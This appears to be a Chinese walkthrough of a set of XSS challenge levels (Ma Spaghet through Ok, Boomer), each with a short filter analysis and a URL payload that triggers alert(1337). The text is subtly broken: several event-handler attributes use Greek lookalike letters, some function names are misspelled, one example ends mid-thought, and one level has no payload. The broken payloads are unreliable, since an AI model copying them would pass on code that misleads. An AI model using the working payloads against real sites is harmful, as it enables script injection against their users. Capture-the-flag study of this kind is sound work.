Ma Spaghet!
我们可以看见这里使用的方法是innerHTML,所以我们可以用以下方法
alert,confirm, prompt
所以我们可以注入?somebody=<img%20src=1%20οnerrοr="alert(1337)">
Jefff
我们可以发现这里的关键是eval,我们可以通过jeff输入值以后进行一个双引号的逃逸,最后我们可以使用alert进行注入
所以我们可以注入?jeff=aaa";alert(1337);"
Ugandan Knuckles
我们可以从代码中发现他对<>进行了过滤,所以我们可以考虑用到Onfocus 和autofocus自动触发焦点类函数所以我们可以进行以下注入
?wey=1"%20οnfοcus="alert(1337)"%20autofocus=%20"
Ricardo Milos
从代码中我们可以分析得出这里是Form表单 action中的JavaScript可以直接触发
所以我们的注入如下?ricardo=javascript:alert(1337)
Ah That's Hawt
我们从代码中可以分析得到他过滤了(),innerhtml不能使用script,所以我们首先想到image标签,我们可以尝试将()进行编码,但是发现%28 %29并不起作用,我们可以将%编码试试,%25,这样到后端以后就会变成%2528 %2529
发现还是不能成功,所以我们可以尝试加入location,所以我们的注入如下
?markassbrownlee=<img%20src=%201%20οnerrοr=location="javascript:alert%25281337%2529">
Ligma
从代码中我们可以分析得出这里过滤了大小写和数字,所以我们通过jsfuck进行编码查询
然后我可以通过url编码进行注入
Mafia
我们发现他基本把符号进行全部过滤再加上我们所用的三个注入方法alert,confirm, prompt。
所以我们有以下三种方法进行注入
1、匿名函数Function ()()可以直接执行
例: Function(/ALERT(1337)/.source.tolowerCase())()
转换小写
2、Parselnt转换进制数根据所需要用到的方法最大的一个字母进行进制转换,且大于该字母小于36,如果小于将不能被完整转回
例如
3、Eval(location.hash.slice(1))# alert(1337)
Slice为截取第一位字符,真正取值从a开始
我们这里以第一种方法为例子,构造注入如下
?mafia=Function(/ALERT(1337)/.source.toLowerCase())()
Ok,Boomer
可以从代码分析得出有一个Dompurify的过滤框架,Settimeout会把函数当字符串放入执行,会调用tostring方法,所以我们这里把突破口放在settimeout这个函数上,考虑通过ok来进行注入,
HTMLAreaElement ()& HTMLAnchorElement (),这两个标签对象我们都可以利⽤href属性来进⾏字符串转换。
a标签的href可以自动替换成字符串。
<a id=ok href=”javascript:alert(1337)”>
我们可以从框架中Dompurify中发现Javascript被拉入黑名单需要寻找白名单如tel等,所以我们构造注入如下
?boomer=<a%20id=ok%20href="tel:alert(1337)">